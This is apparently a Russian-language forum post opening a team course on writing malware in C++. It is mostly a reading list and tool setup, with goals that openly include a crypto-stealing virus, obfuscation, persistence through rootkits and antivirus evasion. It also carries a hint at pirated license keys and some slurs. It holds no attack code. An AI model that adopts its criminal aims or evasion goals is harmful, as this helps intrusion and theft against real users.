  1. составить список литературы и ресурсов по теме, с указанием их преимуществ и недостатков;
  2. изучить основные концепции паттернов проектирования, их классификацию, области применения;
  3. код, много кода, много чужого кода, написанного с использованием лучших практик

5** . Цель** : научиться писать чистый код.
Небольшое лирическое отступление.
Чтобы научиться писать чистый код необходимо регулярно этим заниматься. Приведу пример.
В свое время для меня матан был китайской грамотой. А при виде несобственных интегралов я впадал в полуобморочное состояние. Но, как известно, успех любого специалиста прямо пропорционален квадрату его задницы. Выбор у меня был простой. Либо отчисляться с позором, либо таки научиться брать эти интегралы. Вооружившись Фихтенгольцем, Демидовичем и китайским Антидемидовичем я взялся за дело. С первыми 30 интегралами проблем не было. Они табличные, либо сводятся к ним в пару преобразований. А вот дальше было очень весело. В китайском антидемидовиче решения были, даже с комментариями и подробным объяснением. Но, сука, на китайском. У меня было всего 2 пути. Либо разбираться с матаном, либо учить китайский. Я пошел по первому пути. После первой сотни я начал понимать, что вроде там ничего сложного то и нет. После второй – я начал то ли понимать что я делаю, то ли осваивать китайский. После третьей – я почти перестал подглядывать в китайца. По итогу: зачет был сдан, экзамен тоже. С чистым кодом, архитектурой и прочими сложными штуками ситуация аналогичная. И мы попробуем таки это сделать – научиться ими пользоваться. Для этого нам понадобится:

  1. составить список литературы и ресурсов по теме, с указанием их преимуществ и недостатков;
  2. изучить принципы написания чистого кода и научиться применять их на практике: 1. SOLID – Single Responsibility Principle, Open-Closed Principle, Liskov Substitution Principle, Interface Segregation Principle, Dependency Inversion Principle; 2. YAGNI – You Aren’t Gonna Need It; 3. KISS – Keep It Simple, Stupid; 4. DRY – Don’t Repeat Yourself; 5. SoC – Separation of Concerns.
  3. разобраться с композицией и агрегацией – что это, для чего, чем отличаются, научиться применять на практике;
  4. изучить общепринятые практики обработки ошибок и исключений;
  5. изучить и научиться использовать общепринятые практики документирования и комментирования;
  6. изучить инструменты и методологии рефакторинга, научиться применять;
  7. code review – практика, практика и ничего кроме практики.

6. Цель : Изучить системы контроля версий и научиться применять их как в командной, так и при индивидуальной разработке.
Задачи:

  1. изучить основные понятия и терминологию – репозиторий, коммит, ветка, слияние, конфликт;
  2. изучить основные команды систем контроля версий – на примере git: 1. инициализация репозитория – git init; 2. клонирование существующего репозитория – git clone; 3. добавление файлов в репозиторий – git add; 4. фиксация изменений – git commit 5. операции с ветками – git branch, git checkout; 6. операции слияния – git merge 7. внешние репозитории, операции с ними – git push, git pull
  3. (c) изучить основной функционал платформ для управления репозиториями, такие как Github, Gitlab, Bitbacket, Gitea, включая: 1. управление репозиториями; 2. отслеживание и управление изменениями в коде, включая просмотр истории коммитов, просмотр изменений между коммитами, просмотр различий между ветками и другие функции; 3. управление ветками и слиянием, включая создание новых веток, слияние веток, разрешение конфликтов и другие функции; 4. управление пользователями и группами; 5. управление проектами; 6. интеграция с таск-трекерами – Jira, Trello, Open Project; 7. CI/CD

7. Цель : дать общее представление о внутреннем устройстве операционных систем.

Задачи: (нагло слямзил у Русиновича)

  1. составить список литературы и ресурсов по теме;
  2. ознакомиться с основными концепциями внутреннего устройства Windows;
  3. ознакомиться с особенностями архитектуры и основными компонентами Windows;
  4. ознакомиться с понятием процессов, особенностями их реализации, операций над ними;
  5. ознакомиться с понятием заданий, как механизмом управления наборами процессов и поддержки контейнеров Windows;
  6. ознакомиться с понятием потока, механизмами его создания, внутренней структурой, организацией планирования потоков в Windows;
  7. ознакомиться с принципами управления памяти в Windows, понятием диспетчера памяти, принципами его работы, механизмом использования памяти процессами и драйверами;
  8. ознакомиться с системой ввода/вывода в Windows, ее интеграция с драйверами устройств, механизмы работы с периферийными устройствами ввода/вывода;
  9. ознакомиться с механизмами безопасности, встроенными в Windows, в частности инструментами борьбы с эксплойтами. Наиболее интересный раздел для нас, но его понимание невозможно без предварительного изучения остальных.

Для Unix систем список задач будет аналогичен, на нем пока останавливаться не буду, дополню, если потребуется.
8. Цель : дать общее представление о работе компьютерных сетей, организации корпоративных сетей.
В данном разделе основной упор будет сделан на внутреннее устройство корпоративных сетей, принципы их работы.
Задачи:

  1. составить список литературы и ресурсов по теме;
  2. ознакомить с основными понятиями компьютерных сетей;
  3. ознакомить с внутренним устройством корпоративных сетей;
  4. ознакомить с Active Directory.

9,Цель : – дать общее представление о написании зловредов средствами С++. Разработать в рамках курса супер-пупер-вирус, которым можно взломать Пентагон или спереть всю крипту у жирных буржуев.
Задачи:

  1. определиться с типом разрабатываемого приложения;
  2. определить ключевые этапы разработки;
  3. выбрать и настроить рабочее окружение, компиляторы, IDE, инструменты;
  4. разработать требования к проекту;
  5. составить из требований техническое задание на разработку, можно даже по ГОСТ;
  6. определить формат ведения документации;
  7. Что на счет прототипирования?
  8. определить методику тестирования, подготовить лабораторию для проведения испытаний, определиться с выходным форматом результатов тестирования и их интерпретацией;
  9. определить файловую и логическую структуру проекта;
  10. определить уровни абстракции;
  11. определить code style проекта, правила именования сущностей;
  12. продумать механизм логгирования – необходимо продумать консольный и файловый формат логов;
  13. определить механизмы отладки;
  14. подготовить инструменты обфускации и морфинга кода;
  15. разработать архитектуру проекта, по всем правилам, включая разработку UML и data flow диаграм;
  16. реализовать MVP – версию продукта, реализующую минимальный функционал, достаточный для использования;
  17. протестировать приложение в реальных условиях, составить список ошибок, необходимых доработок;
  18. вернуться к пункту разработки архитектуры, повторять до достижения необходимого результата.

Считаю, что пока этих целей и задач более чем достаточно для того чтобы приступить к реализации нашего первого
проекта.
Теперь немного о том, что представлено в первой, вводной статье.
Я постараюсь дать, если не исчерпывающий, то стремящийся к таковому список литературы, материалов и инструментов,
необходимых для старта. Постараюсь кратко рассказать об инструментах, которыми лично я пользуюсь каждый день. Еще
раз повторюсь. Основная цель курса дать удочку, а не рыбу. То есть максимально сократить время на изучение теории
«По классике», когда мы сначала изучаем условное ООП, а потом пишем десяток непонятных и никому ненужных «hello
worldow» на демонстрацию всяких там полиморфизмов и прочих инкапсуляций. Но, при этом, без глубокого понимания
теоретических основ нам ловить нечего. Поэтому на каждом этапе я буду стараться давать рекомендации по изучению того
или иного теоретического материала.
Ну что же, поехали.
В этой главе у нас не будет кода, от слова совсем. Будет много умных книжек и серьезных ресурсов. К каждому из
которых я дам краткий комментарий, дабы не размазывать статью.
Также мы постараемся выбрать необходимый инструментарий и настроить рабочее окружение, чтобы подойти к следу-
ющему этапу во всеоружии.
Меньше слов, больше дела. Поехали.

2 Список литературы и ресурсов, необходимых для успешного старта.
2.1 Литература по С++
Я намерено не включаю в список литературы учебники, посвященные азам языка, т.к. всё это вы можете найти и без
меня. Кроме того, я предполагаю, что большинство из начинающих разработчиков в состоянии самостоятельно их, азы,
освоить. Курсов сейчас пруд пруди.
2.1.1 Бессмертная классика.

  1. Бьерн Страуструп. Было бы странно, если бы папа плюсов не был первым в этом списке. Поехали. 1. Язык программирования С++ – канонический труд, содержащий максимально подробное описание языка. Написана, на мой взгляд, несколько суховато, но это не отменяет её ценности и важности. 2. Дизайн и эволюция С++ – предоставляет читателю уникальное и глубокое понимание процесса разработки и эволюции языка. Бьёрн Страуструп рассказывает о том, как C++ был задуман, как он развивался и какие решения были приняты на каждом этапе его развития. Книга охватывает основные концепции и принципы, которые лежат в основе C++, а также объясняет, почему были сделаны те или иные выборы в дизайне языка. Рекомендовано к прочтению после получения некоторого опыта в разработке. Читал, но давненько. Пришло время освежить знания. 3. Язык программирования C++. Краткий курс – сам не читал, наткнулся в процессе подготовки статьи, поэтому описание возьму из тырнета. В этой книге создатель языка C++ Бьерн Страуструп описывает, что собой представляет современный C++. Это краткое самодостаточное руководство охватывает основные функциональные возможности языка и основные компоненты стандартной библиотеки - пусть и не с полной глубиной изложения материала, однако на высоком профессиональном уровне. Книга включает множество конкретных примеров, которые облегчают изучение данного языка программирования.Страуструп представляет функциональные возможности C++ в контексте поддерживаемых ими стилей программирования, таких как объектно-ориентированное и обобщенное программирование. Его книга на удивление всеобъемлюща - она начинается с основ языка программирования C++ и постепенно переходит к таким сложным темам, как многие новые и уже устоявшиеся функциональные возможности C++17, включая семантику перемещения, однородную инициализацию, лямбда-выражения, усовершенствованные контейнеры, случайные числа и параллелизм. Сюда входят и некоторые расширения C++20, например концепты и модули. Заканчивается книга обсуждением дизайна и эволюции C++.
  2. Скотт Мейерс – один из ведущих мировых экспертов по С++, широко востребованный как инструктор, консультант и докладчик на разных конференциях. Более 20 лет книги Скотта Мейерса серии Эффективный С++ являются критерием уровня книг по программированию на С++. Скотт Мейерс имеет степень доктора философии (Ph.D.) в области компьютерных наук в Университете Брауна (Brown University). Его сайт находится по адресу aristea.com. Несомненно, мой любимый автор. Его книги написаны настолько лаконичным и доступным языком, что остается только восхищаться этим и с радостью возвращаться к ним снова и снова. Обязательно к прочтению. 1. Эффективное использование C++. 55 верных советов улучшить структуру и код ваших программ [2006] Мeйерс. Не смотря на год издания, не утратит актуальности еще очень долгое время. Особенно будет полезна тем, кто переходит с чистого Си на плюсы. 2. Эффективное использование С++. 35 новых способов улучшить стиль программирования [2006] Скотт Мейерс – продолжение предыдущей книги. 3. Эффективный и современный С++ 42 рекомендации по использованию С++ 11 и С++14 [2016]. Скотт Мейерс – продолжение легендарной серии книг, на этот раз посвящена современным стандартам языка. Если вам нужна базовая информация о «современных» возможностях С++, то ее можно найти в избытке. Но если вы ищете руководство о том, как использовать эти возможности для создания правильного, эффективного, сопровождаемого и переносимого программного обеспечения, поиск становится более сложным. Вот здесь вам и пригодится данная книга. Она посвящена не описанию возможностей С++ 11 и C++l4, а их эффективному применению. 4. Андрей Александреску. Современное проектирование на С++. Было бы непростительной ошибкой не включить данный труд в список литературы обязательной к изучению. В этой книге представлена коллекция пригодных к повторному использованию проектных решений, называемых обобщенными компонентами (generic componetns), также способы их разработки. Обобщенные компоненты предоставляют пользователю хорошо известные выгоды, свойственные библиотекам, однако они пригодны для более широкого спектра системных архитектур. Приемы кодирования и реализации сконцентрированы на задачах и моментах, традиционно присущих проектированию, которое обычно предшествует собственно кодированию программ. Благодаря своему высокому уровню абстракции обобщенные компоненты позволяют необычайно выразительно, сжато и легко отображать в коде сложные архитектуры.(цитата из книги)

2.1.2 Полезные ресурсы.

  1. 1 .Ravesli – один из лучших русскоязычных курсов для новичков. В РФ, к сожалению недоступен, по понятным причинам. ~~Еще один повод разъебать пендосов.~~
  2. 2. https://en.cppreference.com/w/ – вся документация по языку.

2.1.3 STL
STL – стандартная библиотека шаблонов. Не буду растекаться мыслью по древу о ее важности, а просто приведу цитату из предисловия к книге Яцека Галовица (наверное фамилия, всё же, склоняется.) «C++ 17 STL стандартная библиотека шаблонов»:
«Сегодняшний С++ (сам язык и библиотека шаблонов) предоставляет средства для работы со сложными структурами данных и алгоритмами, предлагает возможность управления ресурсами с помощью автоматических указателей, а также поддерживает лямбда-выражения, константные выражения, переносимые средства управления потоками для параллельного (конкурентного) программирования, регулярные выражения, генераторы случайных чисел, исключения, шаблоны с переменным количеством аргументов (эта часть языка C++,отвечающая за шаблонные типы, является полной по Тьюрингу!), определенные пользователями литералы, переносимые средства работы с файловой системой и многое другое. Такое количество возможностей делает С++ универсальным языком, который идеально подходит для реализации высококачественного и высокопроизводительного программного обеспечения, применимого в различных отраслях. Однако многие разработчики С++ охотно изучают сам язык, а библиотеку STL переводят на задний план. Применение языка C++ без поддержки стандартной библиотеки зачастую приводит к тому, что программы выглядят так,
будто написаны с использованием классов, а не с учетом современных подходов. Это печально, ведь подобное применение языка не дает задействовать всю его мощь

В четвертом издании своей книги The C++ Programming Language («Язык программирования С++»), включающем сведения в том числе о С++11, Бьярн Страуструп (Bjarne Stroustrup) пишет: «Пожалуйста, помните, что эти возможности языка и стандартной библиотеки призваны поддержать приемы программирования, позволяющие разрабатывать качественное ПО. Для решения какой-то конкретной задачи их нужно использовать в комбинации друг с другом — как кирпичики из одного набора, — а не отдельно и изолированно друг от друга». »

Сюда я помещу всего 2 книги, но их, считаю, будет вполне достаточно для решения большинства стандартных и не очень
задач, связанных с использованием STL.

  1. 1. Эффективное использование STL [2002] Скотт Мейерс. Не смотря на год издания, не утратила актуальности, такая бессмертная классика. Учит эффективному использованию стандартной библиотеки шаблонов.
  2. 2. C++ 17 STL стандартная библиотека шаблонов. Яцек Галовиц. Ещё одна моя настольная книга.

2.1.4 Boost
Писать на С++ и не использовать всю мощь boost – преступление. Это мое личное мнение. Фактически эта штуковина
дает почти безграничные возможности. Там есть всё, а чего нет – можно написать. Но, как говорится, есть один нюанс. Сразу
пытаться использовать буст – это равносильно самоубийству. Однако, если вы сможете постичь дзен, то всё остальное будет
казаться вам сущими пустяками. Библиотека boost настолько мощная, что отдельным модулям посвящены целые книги. В
частности это

  1. The Boost Graph Library User Guide and Reference Manual. от Jeremy Siek, Lie-Quan Lee и Andrew Lumsdaine. Написана простым и доступным языком, при условии, что у вас есть некоторые познания в теории графов. Кстати, любимый многими BloodHound активно использует под капотом теорию графов. Так что, как ни странно, но именно в мыловарении эта штука – BGL нам может понадобиться, например для построения карты сети и ее последующей визуализации.
  2. John Torjo «Boost.Asio C++ Network Programming» – посвящена программированию сетей с помощью boost.asio. На хабре есть русский перевод этой книги. Для неподготовленной психики читается достаточно тяжело. Лично я сломал мозг не единожды, прежде чем хоть немного стал понимать как работает эта черная магия. Рекомендую приступать к изучению после ознакомления с базовой литературой по сетям.
  3. РАЗРАБОТКА ПРИЛОЖЕНИЙ НА C++ С ИСПОЛЬЗОВАНИЕМ BOOST от Антона Полухина. книга представляет собой сборник рецептов для разработки приложений с использованием библиотеки Boost C++. Антони Полухин рассматривает различные компоненты Boost, такие как Boost.Thread, Boost.Filesystem, Boost.Regex,Boost.Asio и другие. Книга содержит множество практических примеров и рецептов, которые помогают понять и применить библиотеку Boost в реальных проектах. Также периодически обращаюсь к данному источнику.
  4. 4. Boost C++ Libraries: A Practical Guide, Борис Шелинг – неплохая книжица, но только если у вас нет доступа к официальной документации. В некотором роде дублирует ее.

2.1.5 Qt
Возможно Qt в мыловарении и сложно использовать напрямую, поскольку это тот еще монстр. Однако для вспомогательных целей может вполне даже пригодиться, особенно когда необходимо быстро накидать гуй для более удобного тестирования или использования. Я лично очень люблю делать различные конфигураторы с помощью кути. Это когда ты создаешь мастера, он тебе предлагает заполнить поля на нескольких страницах и на выходе выплевывает JSON. Гораздо проще один раз написать конфигуратор, нежели ручками каждый раз редактировать json или, упаси боже, просить юзера сделать собственный конфиг по вашему образцу. Поверьте, вы узнаете о себе много нового.
Тут у нас тоже всё по классике.

  1. Жасмин Бланшет, Марк Саммерфилд. Qt 4.8. Программирование GUI на С++. Таки да, я опять достал с полки дерьмо мамонта. НО!!! Этого вполне достаточно, чтобы разобраться с основами и успешно писать используя Qt5, Qt6. Это одна из лучших, если не лучшая книга по куте. Шлее, с его очередным новомодным Qt latest edition нервно курит в сторонке. Максимум на что он способен – это перевод официальной документации с небольшой доработкой примеров. Зато стильно, модно, молодежно бл#ть, последнюю версию кути описывает. Шлее хорош только в качестве русскоязычного справочника. Не более. Я имею право это утверждать, имея опыт разработки на Qt более 10 лет. Я начинал еще с Qt 4.8. Сейчас активно использую как Qt 5.15. так и Qt6.
  2. Марк Саммерфилд. Qt. Профессиональное программирование. Разработка кроссплатформенных приложений на С++.** Еще один классический труд. **Тут уже описывается внутреннее устройство кути. Основной акцент сделан на создании моделей, графических представлений и гибридных приложений «рабочий стол + Интернет», на многопоточной обработке данных и приложениях, содержащих мультимедийные объекты и форматированный текст. Представлено подробное введение в подсистемы анимации и конечных автоматов, включенные в версию Qt 4.6.
  3. Макс Шлее. Qt X.Y. Раз уж я упомянул его, отозвавшись не самым лестным образом, то обязан включить его в список. Вместо X, Y можете подставить произвольные цифры и гугл выдаст нужный результат. Годится только в качестве справочника.

В качестве полезного ресурса для изучения Qt хотел бы порекомендовать evileg.com – отличный цикл уроков по кути,
от азов, до сложных вещей. Автор, вроде как, действующий Qt разработчик. Там же есть статьи по многим направлениям,
в том числе по азам С++, несколько статей по boost, из которых заслуживает отдельного внимания статья, посвященная
статической линковке приложений с бустом, под винду. Но наиболее полный курс у него получился именно по куте.
2.2 Чистый код. Искусство рефакторинга.
Одна из целей проекта – научиться писать чистый код. Рассмотрим основную литературу по теме.

  1. Роберт Мартин. Чистый код. Создание. Анализ. Рефакторинг. – классика, обязательная к прочтению. Настольная книга, к которой я обращаюсь каждый раз, когда перестаю понимать что происходит в моем коде. По задумке автора должна научить писать вас читаемый, поддерживаемый и расширяемый код. Огромное внимание уделяется именованию всего и вся, комментариям, форматированию кода. Вроде бы мелочи, но из таких мелочей и рождается чистый код.
  2. 2. Рефакторинг. Улучшение существующего кода | Фаулер Мартин. Отличная книга. В дополнение к «Чистому коду» Дядюшки Боба. Обязательна к прочтению.
  3. 3. Стив Макконнелл. Совершенный код. Еще один классический мастодонт. Также рекомендую в качестве настольной книги. Вы можете не читать ее всю целиком, но обращаться к ней, когда у вас возникнут проблемы с поддержкой собственного кода.

Я намерено не расширяю список другими произведениями, ибо их десятки и сотни. Каждый составит собственный «must
read» список, но даю необходимый минимум.
2.3 Литература по проектированию и архитектуре ПО.
Самое интересная и сложная часть. Тут, опять же, мы не обойдемся без классики. Поехали.

  1. 1. Паттерны объектно-ориентированного проектирования. Эрих Гамма, Ричард Хелм, Ральф Джонсон, Джон Влиссидес – начнем, конечно, с «Банды четырёх». Это, что называется, must read for each coder. Ей, кстати, тоже сто лет в обед, но это фундаментальный труд. Основа основ. Описаны 23 классических паттерна и дано множество примеров их практического применения. Язык, относительно простой и понятный.
  2. Погружение в паттерны проектирования [2018] Александр Швец – очень рекомендую. Написано очень доступно, с кучей картинок. К тому же автор русскоязычный, что сильно упрощает понимание. Однозначно рекомендую к прочтению. Очень сильно помогает понять содержание основной книги.
  3. Head First. Паттерны проектирования. – стильно, модно, молодежно, с прикольной телкой на обложке. Не знаю. Мне лично не зашла. Много картинок и мало сути. После Швеца не пляшет, на мой взгляд. Но упомянуть о ней обязан.
  4. Чистая архитектура. Искусство разработки программного обеспечения. Мартин Роберт. Книга не нуждается в представлении, предлагает подробное руководство по созданию чистой архитектуры программного обеспечения. Роберт Мартин объясняет, как структурировать приложения, чтобы они были легко поддерживаемыми, тестируемыми и масштабируемыми. Книга охватывает принципы SOLID, зависимости, границы и другие важные аспекты архитектуры ПО. Является обязательной к прочтению.

2.4 Литература по управлению проектами.
пока опущу этот пункт, нам добраться бы до него.

2.5 Литература по внутреннему устройству операционных систем.
Знание внутреннего устройства ОС и понимание механизмов их работы является критически важным как для мыло-
варов, так и для специалистов по защите информации. Тут можно провести аналогию с автомехаником и пониманием им
устройства и принципов работы ДВС.
Рассмотрим основные задачи, для решения которых оно таки надо:

  • поиск и эксплуатация уязвимостей – переполнение буфера, например;
  • понимание принципов работы системных вызовов, процессов, файловых систем, сетевого взаимодействия;
  • написание персистентных вирусов – способных оставаться в системе даже после перезагрузки. Для этого используется запись в реестр; создание задач в планировщике; подмена системных файлов; использование руткитов с помощью которых возможно повторное заражение системы, в случае удаления файла; изменение атрибутов файлов для сокрытия компонентов;
  • защита от обнаружения антивирусами;
  • обход защитных механизмов как на уровне ОС, так и антивирусов, межсетевых экранов и прочих веселых штук, с которыми нам обязательно придется столкнуться во время полевых испытаний, поскольку они тоже активно используют различные фичи ОС.

Начнем, как обычно, с классики.

  1. Эндрю С. Таненбаум. Современные операционные системы. Большой талмуд, охватывающий как общие моменты для большинства операционных систем, так и подробно описывающий особенности, например, windows, android, linux. Лично я использую в качестве справочника.
  2. " Operating System Concepts"by Abraham Silberschatz, Peter Baer Galvin, and Greg Gagne. Если верить описанию, то это один из наиболее авторитетных учебников по ОСям, охватывающий основные концепции и принципы работы операционных систем, включая управление процессами, памятью, файловыми системами, безопасностью. Ранее не сталкивался. Буду изучать.

2.5.1 Windows

  1. 1. Марк Е. Руссинович. Внутреннее устройство Windows. В некотором смысле «наше всё». Опять же – это мое, сугубо личное мнение, но лучшего и наиболее полного издания, посвященного именно архитектуре винды, не найти. Возможно я плохо искал. Здесь есть всё, что нам необходимо знать на старте. Язык очень доступный. Таки да, там уже рассматривается Windows 10. А для любителей всего нового замечу, что в живых сетях до сих пор встречаются такие динозавры, как Windows Server 2003. Причем частенько они подключены к основной сети и есть шанс пробиться через них, поскольку аверами там и не пахнет.
  2. 2. Windows Internals: The Implementation of the Windows Operating Environment "by David A. Solomon. Нашел только английскую версию. На первый взгляд очень подробно излагаются основные темы. Рекомендовано к прочтению.

2.5.2 Linux
Линукс мы пока тоже опустим. Для начала с виндой бы разобраться. Первое что пришло на ум – Роберт Лав «Linux
driver development».

2.6 Литература по сетям.
Тут тоже всё по классике.

  1. 1. Эндрю С. Таненбаум. Компьютерные сети. – охватывает основные концепции и принципы работы компьютерных сетей, включая архитектуру сетей, протоколы, маршрутизацию, безопасность, управление сетями и многое другое, в общем всё то, что нам непременно понадобится когда-нибудь.
  2. 2. Основы сетей от сетевой академии Cisco. Очень полезная книжица, идеально подходит в качестве настольногосправочника.****

Возможно вы сможете еще что-то порекомендовать. Буду очень признателен.
2.6.1 Литература по корпоративным сетям и Active Directory
Active Directory – это штука, представляющая собой такой «Швейцарский нож», с помощью которого хоть ракету в космос можно запустить, только нужно найти нужную кнопку. Проблема в том, что ее еще надо найти. Возможно сравнение и не очень корректное, но вот мысль, которую я хочу донести – если бы сисадмины использовали хотя бы 50% ее возможностей, то 99% мамкиных хацкеров никогда бы не заработали свою первую десятку зелени на халяву. К нашему счастью, с той стороны мамкиным хацкерам противостоят мамкины же сисадмины, которые зачастую не понимают мощности инструмента, который им достался. Там только с помощью одних групповых политик можно так законопатить сеть, что мышь не проскочит.

  1. 1. Ричард Мориарти. Active Directory: Полное руководство Подробное руководство по Active Directory, охватывающее все аспекты службы каталога. Книга объясняет архитектуру, настройку и управление объектами, а также интеграцию с другими службами Microsoft.
  2. 2. Брайан Поузи. Windows Server 2022: Полное руководство. Полное руководство по Windows Server 2022, охватывающее все аспекты администрирования и настройки сервера. Книга включает информацию о роли Active Directory Domain Services, управлении групповыми политиками и других важных аспектах.
  3. Ralf Hacker. Active Directory глазами хакера. Довольно свежая. Настоятельно рекомендую к изучению. Рассматривается архитектура системы безопасности Active Directory.

2.7 Литература по информационной безопасности.
С этим пунктом мне обещали помочь наши уважаемые форумчане, ибо обычные книги успевают устареть раньше, чем
будут напечатаны. Чуть позже этот пункт дополню.
2.7.1 Вирусология. Написание вирусов и прочих зловредов
2.7.2 Методы защиты информации.
2.8 Литература по системам контроля версий.
Поскольку мы будем использовать git, то я ограничусь литературой по этому продукту, который сильно упрощает жизнь.
1. Скотт Чакон, Бен Страуб, ProGit – исчерпывающее руководство по Git, которое будет полезно менеджеру по
конфигурации. Книга покрывает все основные аспекты Git, включая создание репозиториев, ветвление и слияние, а
также расширенные техники работы с Git.

3 Подготовка к запуску проекта. Управление проектом. Инструменты для команд-
ной разработки.
Теперь нам нужно подготовить рабочее окружение. Нам понадобятся:

  • • Таск-трекер;
  • • система контроля версий, а также веб-морда к ней, для совместной работы над исходным кодом;
  • • IDE – интегрированная среда разработки. Штука нужная и полезная. К ее выбору необходимо подойти очень тщательно.
  • • к IDE нам понадобится компилятор, отладчик, система сборки.
  • • поскольку курс у нас продвинутый, а сами мы крутые перцы, то код у нас будет покрыт модульными тестами. А еще попробуем разобраться с тем что такое интеграционное и, прости господи, нагрузочное тестирование.

Поехали.
3.1 Таск-трекер. Выбор, настройка, политики использования.
Начнем с Таск-трекера. Если коротко , это специальный сервис для отслеживания выполнения задач. С очень бога-
тым внутренним миром, с этими вашими канбанами,эджайлами и прочими scrum’aми. Наиболее известные: Jira, YouTrack,
OpenProject, Redmine. Каждая из них обладает своими преимуществами и недостатками. Функционал, плюс минус, похож
– отслеживание времени и затрат, совместная работа над проектами, интеграция с gitlub, github, .... Можно развернуть
на собственном сервере. Jira и YouTrack бесплатны для команд до 10 человек. OpenProject и Redmine - опенсурсные и
бесплатные.
Redmine – имеет необходимый и достаточный функционал для полноценного управления проектом и командой.
Расширяется с помощью плагинов, но в последнее время, как мне кажется, уже немного старомоден, что-ли. Многое
придется настраивать ручками, маловато готовых шаблонов. При установке необходим шаманский бубен и хороший
запас русского матерного, ибо написан он на рельсах (Ruby on Rails).
OpenProject – имеет богатый функционал «из коробки», можно настроить под себя всё что угодно. Ставится из
коробки без лишних телодвижений.
Лично мне нравится OpenProject. YouTrack тоже хорош, но с недавнего времени я принципиально не плачу этим редискам из
JetBrains. Jira – корпоративный монстр, как по мне. Ее точно не стоит использовать в проектах с общим числом участников
менее сотни.

3.2 Выбор и настройка системы контроля версий.
Про системы контроля версий я уже писал в целях и задачах. Рассмотрим две наиболее популярные – git и subversion. А
использовать будем гит, т.к. его, по меньшей мере основные команды, так или иначе знают большинство.
3.2.1 GIT
Для винды я рекомендую использовать git for windows (https://gitforwindows.org/). Отличная консольная утилита. С поддержкой основных команд. Да еще умеет в основные команды линукса – cd, ls, cat, cp, mv, и даже бальзам на мою душу – встроенный редактор vim – git bash это называется. Git BASH Git for Windows provides a BASH
emulation used to run Git from the command line. *NIX users should feel right at home, as the BASH emulation behaves just like the "git"command in LINUX and UNIX environments. Установка простая, позволяет выбрать формат коммитов и, самое главное, при инициализации пустого репозитория создает ветку master, которая существовала испокон веков, что называется. А не, «main», бл#ть, которую придумали недопидорги-общечеловеки.

Под линуксом ставится в одну команду
sudo apt install git

Для удобства я развернул gitlab. Кому надо – стучите в личку, выдам доступ. Там же есть встроенный таск-трекер.
3.2.2 Subversion (SVN)
После работы с git кажется очень неудобной. В одной из контор, где мне довелось работать, использовали сие чудо.
Каких-то негативных эмоций не было. Но привыкать к мышкоблудию пришлось довольно долго. Под виндой вменяемых
консольных клиентов я не нашел. Если кто встречал – поделитесь в комментах. А гуевина есть – черепашка мы ее звали,
TortoiseSVN называется. Хороший инструмент, но тут уже, как говорится, вкусовщина. Мне достаточно нормального bash
окружения для git.

4 Подготовка рабочего окружения.
4.1 Выбор IDE
Выбор IDE для программиста сродни выбору снаряги для покорения Эвереста альпинистом. Современные IDE в том
или ином виде предоставляют весь необходимый функционал и даже больше. О существовании многих фич можно даже не
подозревать. Постараюсь быть кратким.
4.1.1 MS Visual Studio
Студия. Старая, добрая, ламповая. Может и умеет почти всё. Нужно уметь ее готовить. Поддерживает несколько компи-
ляторов и систем сборки. Умеет даже в линукс, но я лично сложнее «hello world’a» не писал, чисто поигрался, потестировал.
Доступно несколько лицензий, в том числе бесплатная. Я использую professional. Мне хватает. Ключики лежат на гитхабе
и гуглятся на раз. Что интересно – без проблем доступна из РФ.

Модульное тестирование (или юнит-тестирование) — это процесс в программировании, позволяющий проверить
на корректность отдельные модули исходного кода программы. Модули могут включать в себя один или несколько про-
граммных модулей вместе с соответствующими управляющими данными, процедурами использования и обработки. Ос-
новные принципы модульного тестирования:
• Изоляция: каждый модуль тестируется отдельно, что позволяет быстро выявить ошибки и регрессии.
• Поощрение изменений: модульные тесты помогают программистам проводить рефакторинг кода, будучи уверен-
ными в его корректности.
• Упрощение интеграции: модульное тестирование помогает устранить сомнения по поводу отдельных модулей и
может быть использовано для подхода к тестированию «снизу вверх».
• Документирование кода: модульные тесты можно рассматривать как «живой документ» для тестируемого класса.
• Отделение интерфейса от реализации: модульные тесты помогают абстрагироваться от сложных зависимостей
и минимизировать их в системе.
Преимущества модульного тестирования:
• Быстрое выявление ошибок: Позволяет быстро обнаруживать ошибки в коде и исправлять их.
• Упрощение рефакторинга: Поощряет программистов к изменениям кода, так как легко проверить, что код рабо-
тает и после изменений.
• Упрощение интеграции: Помогает устранить сомнения по поводу отдельных модулей и может быть использовано
для подхода к тестированию «снизу вверх».
• Документирование кода: Модульные тесты могут служить примером использования класса.
• Отделение интерфейса от реализации: Помогает минимизировать зависимости в системе.
Существует много различных фреймворков для модульного тестирования. Мы рассмотрим наиболее популярные.
5.1.1 Google tests.
Google Tests — это библиотека для модульного тестирования на языке C++, разработанная Google. Она предостав-
ляет мощный инструмент для тестирования отдельных частей программы (классов, функций, модулей) в изоляции.
Основные особенности Google Tests включают:
• Минимальные единицы тестирования: Каждый тест представляет собой отдельную единицу, которая автомати-
чески запускается при запуске.
• Группы тестов: Тесты могут быть объединены в группы, что позволяет организовать тестирование более структу-
рированно.
• Тестовые классы (test fixture): Возможность создания и повторного использования одной и той же конфигурации
объектов для нескольких различных тестов.
• Безопасность для многопоточного использования: Библиотека разработана с учетом многопоточного использо-
вания, хотя для использования утверждений в разных потоках одновременно требуется самостоятельная разработка
примитивов синхронизации.
• Поддержка различных платформ: Официально поддерживается на Linux, Windows и Mac, но также работает на
множестве других систем.
Гуглотесты отлично интегрируются со всеми вышеперечисленными IDE. Пока остановимся на них.
Я тут еще много чего хотел написать. Но пока не буду. Итак уже тут много воды налито.

6 Заключение
В общем получилось что есть. Несколько растянулось это дело всё.
Теперь попробую описать дальнейшие шаги.
1. определиться с типом разрабатываемого приложения;
2. описать его примерный функционал;
3. сформулировать требования к продукту;
4. составить техническое задание;
5. спроектировать архитектуру;
6. разработать MVP продукта;
7. ну и так далее, я там выше уже всё это писал
Я это к чему всё. Если кто-то думает, что я буду в одну каску код писать – таки нет, вы сильно ошибаетесь. У нас будет
полноценная командная разработка. Во всяком случае я очень надеюсь, что это получится. А я потом буду всё это веселье
описывать. Прошу всех желающих принять непосредственное участие в разработке оставить плюсик.
Спасибо всем, кто дочитал до конца.
За сим позвольте откланяться.56

malware dev (обсуждение)
ID: 6765d804b4103b69df375687
Thread ID: 128956
Created: 2024-12-14T21:48:49+0000
Last Post: 2024-12-16T15:19:58+0000
Author: kto
Replies: 31 Views: 2K

